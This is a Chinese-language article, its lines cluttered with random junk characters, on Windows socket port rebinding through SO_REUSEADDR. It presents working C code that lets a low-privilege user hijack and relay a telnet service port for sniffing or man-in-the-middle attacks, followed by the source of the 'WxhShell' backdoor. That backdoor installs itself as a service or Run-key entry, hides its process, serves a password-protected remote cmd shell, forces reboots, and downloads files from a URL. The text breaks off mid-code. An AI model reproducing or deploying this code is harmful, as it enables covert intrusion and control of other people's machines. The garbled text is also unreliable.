在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*$WiJ3'(m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]i_):@ {?h6*>-^Z saddr.sin_family = AF_INET;
WLj_Zo*^x XQ|j5] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
v#AO\zYKd e[py J. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@Ig,_i\UY: :ayO+fr# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9iN!hy[ t g m{gR 这意味着什么?意味着可以进行如下的攻击:
A`r$fCt1Vi HWao3 Lz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|SJ%
_#=i qLktMp_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Pq_ApUZa qo&SJDG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{t IoC;Y K+aJ`V 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Se]t;7j d' eM(4R@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m`4j|5 zj$Z%|@$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
W} +6L| :-jP8X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%L=h}U13 ?[|4QzR #include
Y&!McM!Jw #include
~'YSVx& ) #include
cqU/Y_%l' #include
C&MqUj"] DWORD WINAPI ClientThread(LPVOID lpParam);
^O\1v int main()
Sv]"Y/N {
(fjXp75 WORD wVersionRequested;
9$w)_RX9W DWORD ret;
f\%X7. WSADATA wsaData;
X]qp~:4G BOOL val;
sT8kVN|Uv SOCKADDR_IN saddr;
5D@Q1 SOCKADDR_IN scaddr;
7!d<>_oH int err;
^ZZ@!Udy SOCKET s;
}lbx SOCKET sc;
4xC6#:8 int caddsize;
q\b9e&2Y HANDLE mt;
E52:c]<'m DWORD tid;
(6_/n&mF wVersionRequested = MAKEWORD( 2, 2 );
FH@e:-*= err = WSAStartup( wVersionRequested, &wsaData );
l~>rpG if ( err != 0 ) {
L?5t<`#lw printf("error!WSAStartup failed!\n");
J'oz P^N return -1;
Z|7I }i }
%-zH]"Q$ saddr.sin_family = AF_INET;
6I'VXdeN R~u7;Wv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-^%"w u(Q(UuI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)FiU1E saddr.sin_port = htons(23);
Ki6BPi^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%x)U8 {
8&AorYw[ printf("error!socket failed!\n");
zL=I-f Vq return -1;
H0:6zSsc=| }
NQ{Z val = TRUE;
W8/6 //SO_REUSEADDR选项就是可以实现端口重绑定的
t z>X'L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+2enz!z#k {
w4/)r-Z4I printf("error!setsockopt failed!\n");
x{w ?X.Nt return -1;
DWO: }
`o- <, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v\T1,Z@N^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
o=5uM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z?g4^0e PhL5EYn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/ S^m!{ {
KV(W|~+ rM ret=GetLastError();
v2<gkCK^ printf("error!bind failed!\n");
X'p%$HsMG return -1;
l"g%vS,;` }
=hb87g. listen(s,2);
/R?uxhV while(1)
DEuW' .o> {
LxGh *7K- caddsize = sizeof(scaddr);
D*b|(Oi //接受连接请求
-B! TA0=oJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3
+9|7=d if(sc!=INVALID_SOCKET)
{x$#5PW {
l$@lk?dc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y)5}bmL if(mt==NULL)
K~N[^pF {
WWs>@lCK printf("Thread Creat Failed!\n");
Qc/J"<Lx break;
B*Xh$R }
@K>Pw arl }
;f*xOdi*k CloseHandle(mt);
1@Gv`{v }
yQ2[[[@k@ closesocket(s);
xrd^vE WSACleanup();
lsf?R'1 return 0;
q|\Cp }
G9%4d;uFT DWORD WINAPI ClientThread(LPVOID lpParam)
$RO=r90o {
yx4c+(J^8 SOCKET ss = (SOCKET)lpParam;
3_:k12%p SOCKET sc;
G(e?]{( unsigned char buf[4096];
BGOI SOCKADDR_IN saddr;
4\iQ%fb long num;
)`0 j\ DWORD val;
J]e&z5c DWORD ret;
B 8,{jwB //如果是隐藏端口应用的话,可以在此处加一些判断
m\Nc}P_"p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-JkO[IF saddr.sin_family = AF_INET;
^|z>NV5> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
AG%aH=TKp saddr.sin_port = htons(23);
%UhF=C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y+<HS]vyV {
dDn:^) printf("error!socket failed!\n");
m5*RB1 return -1;
6IH^rSUSK }
fx5vaM! val = 100;
2sH5<5G' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jHzb,& {
)i>KgX ret = GetLastError();
=X B)sC% return -1;
KYaf7qy] }
x~.U,,1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^W*/!q7H {
~1oD7=WN ret = GetLastError();
YXEZ&$e' return -1;
kzT' }
|ouk;r24V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?aui q {
nEYJ?_55 printf("error!socket connect failed!\n");
=W=%!A\g closesocket(sc);
U ;/ )V closesocket(ss);
pOXEM1"2A return -1;
bB["Qd}Q }
fi)ypv* while(1)
[0Sd +{Q {
,??|R`S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qA42f83 //如果是嗅探内容的话,可以再此处进行内容分析和记录
QK\z-'&n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
pWqahrWh num = recv(ss,buf,4096,0);
-JK+{< if(num>0)
6{6tg>|L) send(sc,buf,num,0);
N
Jf''e3 else if(num==0)
$uqlJG#` break;
hI
yfF num = recv(sc,buf,4096,0);
,yoT3_%P if(num>0)
R;%iu0 send(ss,buf,num,0);
e)M1$ else if(num==0)
sgX~4W"J break;
N78Ev7PN }
C^a~)r.h closesocket(ss);
Ni`qU(I'| closesocket(sc);
8{RiaF8 return 0 ;
\Z$*8z= }
@'QB rE 9M6&+1XE ? DPL7 ==========================================================
TS;MGi0`} o]vd xkU] 下边附上一个代码,,WXhSHELL
<K43f#% \%)p7PNY ==========================================================
C$P3&k#W ~Oq(JM
$M #include "stdafx.h"
p(Sfw>t( <rU(zm #include <stdio.h>
4x:fOhtP #include <string.h>
=hA/; #include <windows.h>
7L!k9"X`0F #include <winsock2.h>
'F@'4[uda #include <winsvc.h>
j8lbn |. #include <urlmon.h>
[mm5?23g # RtrHm #pragma comment (lib, "Ws2_32.lib")
+2vcUy #pragma comment (lib, "urlmon.lib")
@A:Xct 1&dWt_\ #define MAX_USER 100 // 最大客户端连接数
^P[-HA| #define BUF_SOCK 200 // sock buffer
xHf
l>C' #define KEY_BUFF 255 // 输入 buffer
7&X^y+bMe6 6,!]x>B #define REBOOT 0 // 重启
nF)|oA #define SHUTDOWN 1 // 关机
qp7>_B O:1YG$uKa #define DEF_PORT 5000 // 监听端口
XRZmg " 6JJ%`Uojh #define REG_LEN 16 // 注册表键长度
#q%&,;4 #define SVC_LEN 80 // NT服务名长度
u|+O%s TQ .6r&<* // 从dll定义API
Mq$e5&/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#SO9e.yhI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|W?x6]~.R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'E6)6N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P!:D2zSH_ vrH/Z.WD // wxhshell配置信息
8}4V$b`Z struct WSCFG {
ZMbv1*Vt int ws_port; // 监听端口
@@+\ char ws_passstr[REG_LEN]; // 口令
B&"fPi int ws_autoins; // 安装标记, 1=yes 0=no
Jcm"i~ char ws_regname[REG_LEN]; // 注册表键名
|Kb-oM&^# char ws_svcname[REG_LEN]; // 服务名
/KH3v!G0 char ws_svcdisp[SVC_LEN]; // 服务显示名
R`Q9|yF\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
OD{Rh(Id char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3rs=EMz:w int ws_downexe; // 下载执行标记, 1=yes 0=no
!tN]OQ)' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:h" Y >1P char ws_filenam[SVC_LEN]; // 下载后保存的文件名
lr=*Ty(V {um~] };
{=pf#E= 7|*|xLrVY // default Wxhshell configuration
#k*e>d$ struct WSCFG wscfg={DEF_PORT,
{l![{ "xuhuanlingzhe",
*joM[ML` 6 1,
%*zgN[/w "Wxhshell",
n hS=t8H "Wxhshell",
@32JMS< "WxhShell Service",
Sky!ZN'I "Wrsky Windows CmdShell Service",
v:eVK!O "Please Input Your Password: ",
c1Xt$[_ 1,
1:XT r "
http://www.wrsky.com/wxhshell.exe",
D>PB|rS@ "Wxhshell.exe"
%
?@PlQ };
aOETms w (Jy7 // 消息定义模块
!'[f!vsyM{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4cl}ouG char *msg_ws_prompt="\n\r? for help\n\r#>";
@ITJ}e4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H4MFTnJ{ char *msg_ws_ext="\n\rExit.";
5fjmr char *msg_ws_end="\n\rQuit.";
[YLaRr char *msg_ws_boot="\n\rReboot...";
5F18/:\n char *msg_ws_poff="\n\rShutdown...";
= ;4cDmZh char *msg_ws_down="\n\rSave to ";
A7C+-N +' QX` char *msg_ws_err="\n\rErr!";
)\8l6Gw char *msg_ws_ok="\n\rOK!";
GFB(c
W c{<DE?J char ExeFile[MAX_PATH];
Vr+X!DeY int nUser = 0;
VE`5bD+%e HANDLE handles[MAX_USER];
<-D>^p9 int OsIsNt;
BRLrD/8Le !uL z%~F SERVICE_STATUS serviceStatus;
V>>"nf,YO SERVICE_STATUS_HANDLE hServiceStatusHandle;
s3Pr$h `A_CLVE // 函数声明
E3@G^Y int Install(void);
-W38#_y/\ int Uninstall(void);
Dp3&@M"^yY int DownloadFile(char *sURL, SOCKET wsh);
dDK4I3a int Boot(int flag);
0JN>w^ void HideProc(void);
gdPv,p19L int GetOsVer(void);
mnh>gl!l int Wxhshell(SOCKET wsl);
QpxRYv void TalkWithClient(void *cs);
OGpy\0% int CmdShell(SOCKET sock);
P MV;A{T int StartFromService(void);
M=:!d$c
int StartWxhshell(LPSTR lpCmdLine);
^yL6A1 ce7$r*@! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|Ii[WfFA|J VOID WINAPI NTServiceHandler( DWORD fdwControl );
a~ sU b&BkT%aA(G // 数据结构和表定义
(&t741DN| SERVICE_TABLE_ENTRY DispatchTable[] =
LS;j]!CU {
X$Eg(^L a {wscfg.ws_svcname, NTServiceMain},
Yz7H@Y2i {NULL, NULL}
Zq1ZrwPF };
69/aP= 14>WpNN // 自我安装
W}jel}: int Install(void)
r&!Ebe- {
#@%DY*w]v char svExeFile[MAX_PATH];
$]LhE:!G HKEY key;
{;mT.[ strcpy(svExeFile,ExeFile);
Uao8#<CkvJ X?'Sh XI // 如果是win9x系统,修改注册表设为自启动
9lXjB_wG> if(!OsIsNt) {
3<F\5| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9|BH/&$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@>:V? RegCloseKey(key);
ZW+M<G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[u*-~( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|z.x M> RegCloseKey(key);
zP554Gr ? return 0;
0SS,fs<w3 }
a9LK}xc={ }
S:5vC{ }
k|uW~I) else {
+;#z"m] ?`T0zpC // 如果是NT以上系统,安装为系统服务
_"0, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&<dC3o! if (schSCManager!=0)
R;d)I^@ {
3 bK.8 SC_HANDLE schService = CreateService
j(xVbUa (
&JUHm_wd&S schSCManager,
r<MW8 wscfg.ws_svcname,
~?6M4!u
wscfg.ws_svcdisp,
O~P1d&:L SERVICE_ALL_ACCESS,
|-)2 D=P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+4
W6{` SERVICE_AUTO_START,
DjLSl,Z SERVICE_ERROR_NORMAL,
<Pn]{N svExeFile,
pZxuV(QP` NULL,
L.ML0H- NULL,
@"h@4q/W NULL,
7=hISQMsVP NULL,
u=QG%O#B NULL
h4,g pV>t );
l@W1bS if (schService!=0)
BT *z^ZH {
1XppC[)) CloseServiceHandle(schService);
uD=FTx CloseServiceHandle(schSCManager);
pLiGky strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N+N98~Y`P strcat(svExeFile,wscfg.ws_svcname);
c3__=$)'kP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[ !< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XM#xxf* Y RegCloseKey(key);
Ht,+KbB return 0;
b[/uSwvi }
af- }
-\|S=<
g CloseServiceHandle(schSCManager);
`b:yW.#w3l }
a%YohfsY?U }
^'G,sZ6'Nh z)_h"y?H{% return 1;
~PZIYG"D }
^[g7B"`K5 Jfs_9g5 // 自我卸载
7=@3cw
H int Uninstall(void)
&:?2IAe {
yx\I&\i HKEY key;
`^mY*Cb e o6ag{Yp if(!OsIsNt) {
.|g|X8X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(:r80: RegDeleteValue(key,wscfg.ws_regname);
eqQ=HT7J RegCloseKey(key);
|*5HNP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X3zpU7`Av+ RegDeleteValue(key,wscfg.ws_regname);
SL$ bV2T RegCloseKey(key);
8`B]UcL) return 0;
+ t7n6 }
[))TL }
c( 8>|^M }
_%gu<Ys else {
/v-:ca)7mI We)l_>G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iOrpr,@ if (schSCManager!=0)
;6655C {
:G[6c5j|V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c]PG5f xf if (schService!=0)
[4
y7tjar^ {
|PxTm if(DeleteService(schService)!=0) {
[BZA1, CloseServiceHandle(schService);
y*<x@i+h CloseServiceHandle(schSCManager);
s9[547?` return 0;
"pMx( }
fP8iz `n CloseServiceHandle(schService);
<HB@j}qi }
LK:J kjp^ CloseServiceHandle(schSCManager);
%U?1Gf e }
<5E: ,< }
9D[Jn}E: vhd +A return 1;
uW0D m# }
NbPNcjPL _?oofE:{ // 从指定url下载文件
TGH"OXV*@ int DownloadFile(char *sURL, SOCKET wsh)
z(eAhK}6? {
g T{WH67u HRESULT hr;
;ZoEqMv char seps[]= "/";
+x]3 -s char *token;
n5+Z|<3) char *file;
&>A<{J@VL char myURL[MAX_PATH];
svvl`|n% char myFILE[MAX_PATH];
oM(8'{S= ac!!1lwA strcpy(myURL,sURL);
?np3*;lw token=strtok(myURL,seps);
ybU_x while(token!=NULL)
`6xr:s {
G\(cnqHk file=token;
BcxALRWE token=strtok(NULL,seps);
b_Dd$NC }
L%HFsuIO- "'74GY8, GetCurrentDirectory(MAX_PATH,myFILE);
a.2Xl}2o5 strcat(myFILE, "\\");
>
JV$EY, strcat(myFILE, file);
Q.,2G7[ < send(wsh,myFILE,strlen(myFILE),0);
_=_<cgy1u send(wsh,"...",3,0);
~@$RX:p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B}+li1k if(hr==S_OK)
n7/>+V+ return 0;
L*FQ`:lZ else
TW6F9}'f& return 1;
k}]M`ad 6aKfcvf & }
|B
{*so] 2ElZ&(RZJF // 系统电源模块
=Q*x=}NH int Boot(int flag)
tU0jFBB {
~P BJ~j+G HANDLE hToken;
}<^QW't_Y TOKEN_PRIVILEGES tkp;
UM<!bNz` GH \
Sy if(OsIsNt) {
0X:$ASocU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K\FLA_J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d7S?"JpV tkp.PrivilegeCount = 1;
:gn&wi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_:]g:F[
# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^yX >^1 if(flag==REBOOT) {
zGNmc7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hp`ZmLq/[ return 0;
bXSAZWf }
SBI*[ else {
x\oSD1t, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Zs4NN2~ return 0;
x4K A8 }
8S7#tb@3 }
~ dk9 7Z8 else {
cn Ohj if(flag==REBOOT) {
pI_dV44W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5> lIrBf return 0;
m(D+!I9 }
{[3xi`0- else {
JvK]EwR
; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/+1(,S return 0;
l0U23i }
N=\weuED }
%/ctt_p0x dI|D c return 1;
7]9,J(:Ed }
}|%1LL^pB ia(`3r // win9x进程隐藏模块
H'JU5nE void HideProc(void)
AvPPsN0 {
H~^)^6)^T 9VanR
::XX HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z&79: 9=#> if ( hKernel != NULL )
":f]egq
- {
7WwE] ^M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-QwH| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
R1*4 FreeLibrary(hKernel);
|-;VnC&UY }
g+5c"Yk+u~ 0zE@?. return;
xK_oV+ }
R8_I ASs ,ryL("G // 获取操作系统版本
\h_q] int GetOsVer(void)
%pxO<O {
u88wSe<\X OSVERSIONINFO winfo;
=~k
c7f{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O =;jDWE GetVersionEx(&winfo);
@Ns[qn;9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fvcS=nRQv return 1;
,uAp;"YJeV else
1`YU9? return 0;
dFF=-_O> }
DY9]$h*y tc<uS%XT4^ // 客户端句柄模块
y)U?.@ int Wxhshell(SOCKET wsl)
g;v;xlY`N {
NcP/W>lN SOCKET wsh;
:aK?Dt Z struct sockaddr_in client;
wD=]U@t`, DWORD myID;
-^5467 d&[RfZ` while(nUser<MAX_USER)
7jgj;% {
%IX)+
Lp` int nSize=sizeof(client);
An$2='=/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
xH xTL>,? if(wsh==INVALID_SOCKET) return 1;
i=cST8!8N l6y}>] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Sk E <V0 if(handles[nUser]==0)
|Ha#2pt{bc closesocket(wsh);
p,goYF?? else
Fq@o_bI nUser++;
ca{MJz' }
pL5cw= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D]]wJQU2 ^>?=L\[ return 0;
+yp:douERi }
{d'-1z"q "FWx;65CR // 关闭 socket
RqtBz3v void CloseIt(SOCKET wsh)
R7kkth {
m{/(
3 closesocket(wsh);
x}yl Rg`[ nUser--;
Gv_~@MN ExitThread(0);
G
aV&y }
;:fW]5"R S^eem_C // 客户端请求句柄
}/F$73Xd void TalkWithClient(void *cs)
n^Ca?|}
, {
?vFy3 dRX~eIw SOCKET wsh=(SOCKET)cs;
D\AVZ76F1 char pwd[SVC_LEN];
"XR=P>
xk char cmd[KEY_BUFF];
@up,5` char chr[1];
V4n~Z+k int i,j;
rD].=.?1 iT>u&0B- while (nUser < MAX_USER) {
{>
YsrD C :\\NK/" if(wscfg.ws_passstr) {
BDB*>y7( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]YgR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H<(F$7Q!\ //ZeroMemory(pwd,KEY_BUFF);
X
zJ#)}f i=0;
~U0%}Bbh while(i<SVC_LEN) {
\Ii{sn9 Xp:A;i9 // 设置超时
@C)s4{V fd_set FdRead;
#ibwD:{ struct timeval TimeOut;
J~m$7T3Af FD_ZERO(&FdRead);
HwUaaK
FD_SET(wsh,&FdRead);
=AIFu\9#a` TimeOut.tv_sec=8;
42NfD/"g+s TimeOut.tv_usec=0;
] pn
U" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
W,xdj! ^t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
L4>14D\ jeu'K vhe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;@wa\H[3v2 pwd
=chr[0]; (Q*q#U
if(chr[0]==0xd || chr[0]==0xa) { Ew/MSl6}
pwd=0; ZcN0:xU
break; j&8YE7
} v$y\X3)mB
i++; WqeWjI.2
} p<mL%3s0
kL'4m
// 如果是非法用户,关闭 socket y%TqH\RKv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h4hAzFQ.s
} x{1 v(n8+=
TO6F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); + -<8^y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |! 9~
q8{Bx03m6
while(1) { u$\.aWol
REh"/d
ZeroMemory(cmd,KEY_BUFF); opfnIkCe
-wn-PB@r
// 自动支持客户端 telnet标准 ]Jswxw
j=0; 0~nX7
while(j<KEY_BUFF) { dn h qg3Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >WZ.Dj0n
cmd[j]=chr[0]; f7&ni#^Ztj
if(chr[0]==0xa || chr[0]==0xd) { !X}+JeU'
cmd[j]=0; #wyceEa
break; qz`-?,pF
} hC$e8t60
j++; [vu;B4^"
} ]9QXQH
=c6d$
// 下载文件 ]-wyZ +a
if(strstr(cmd,"http://")) { !!.@F;]W
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [r2V+b.C
if(DownloadFile(cmd,wsh)) }hn?4ny
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3cJ'tRsp<
else zTue(Kr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yup#aeXY/
} \4 b^*`d
else { \(??Ytc<B
5%TSUU+<I
switch(cmd[0]) { IR"C?
CV[ 9i
// 帮助 ^2dQVV.
case '?': { BiU>h.4=\(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eq_@xT0>
break; PVi;h%>Y
} 92j[b_P
// 安装 )7NK+k
case 'i': { 7b~uU@L`
if(Install()) I!!cA?W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wt%Wpb8
else c{kpgN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*3>>VN
break; *lDVV,T'}w
} &am<_Tn*3
// 卸载 E!X>C^
case 'r': { "7-}#_!g
if(Uninstall()) "uplk8iCJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *QN,wBQ
else ShQ! '[J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -V2f.QE%
break; JV,h1/a("
} _*z^PkH
// 显示 wxhshell 所在路径 E;H9]*x/
case 'p': { O\!'Ds+gX
char svExeFile[MAX_PATH]; X+{brvM<
strcpy(svExeFile,"\n\r"); uNEl]Q]<e]
strcat(svExeFile,ExeFile); {.U:Ce
send(wsh,svExeFile,strlen(svExeFile),0); B3yTN6-
break; ,5U[#6^
} h143HXBi1+
// 重启 Ze/\IBd
case 'b': { \>9^(N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CY':'aWfa<
if(Boot(REBOOT)) o;DK]o>kH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W NeBthq6
else { /)RH-_63
closesocket(wsh); 7z{N}
ExitThread(0); +P9eE,WR
} ZJ+ad,?,
break; :^paI
} iW2\;}y
// 关机 CL`+\
.
case 'd': { $v_&jE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z&c}
if(Boot(SHUTDOWN)) q77qdmq7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*cF'go
else { o&M.9V?~~
closesocket(wsh); RnC+]J+?4
ExitThread(0); <5Ll<0
} MtF^}/0w!`
break; Kwm_Y5`A
} }(DH_0
// 获取shell Cb|1Jtb
case 's': { .nNZdta&=
CmdShell(wsh); 2~QJ]qo =
closesocket(wsh); RO3q!+a$/
ExitThread(0); g'w"U9tjO
break; K;Hgq4
} - q(a~Ge
// 退出 0Ntvd7"`}
case 'x': { t_16icF9U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X!ldL|Ua%
CloseIt(wsh); Al@. KTK
break; +e.w]\}
} hbr3.<o1lY
// 离开 /ece}7M
case 'q': { #*w)rGkU2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Q7^bF^
closesocket(wsh); 4M]l~9;A
WSACleanup(); bYpeI(zK
exit(1); 4^YE*6z
break; KXl!VD,#`=
} Fv)E:PnKC
} 9LBZMQ
} oP4+:r)LKD
-I6t ^$HA
// 提示信息 L AA(2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gs/o cu
} 34"PtWbV>
} '/X]96Ci7
Ac*J;fI
return; $%'3w~h`
} KZ#\ >
`jr?I {m;
// shell模块句柄 k.c.7%|~;
int CmdShell(SOCKET sock) YAeF*vP
{ TXyiCS3
STARTUPINFO si; 0b
n%L~KU
ZeroMemory(&si,sizeof(si)); xYW&Mfka
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $?k]KD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1iLU{m9
PROCESS_INFORMATION ProcessInfo; *TI?tD
char cmdline[]="cmd"; q3h&V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 96#]P
return 0; 0WSZhzNyY
} /Yg&:@L
;y1/b(t
// 自身启动模式 B@6L<oZ
int StartFromService(void) <;~u@^>
{ pz)>y&_o
typedef struct SZ$WC8AX
{ ^eO/?D8~h
DWORD ExitStatus; vDi Opd
DWORD PebBaseAddress; 0jjtx'F
DWORD AffinityMask; K5XW&|tY!
DWORD BasePriority; #RU8yT
ULONG UniqueProcessId; Qe ip h
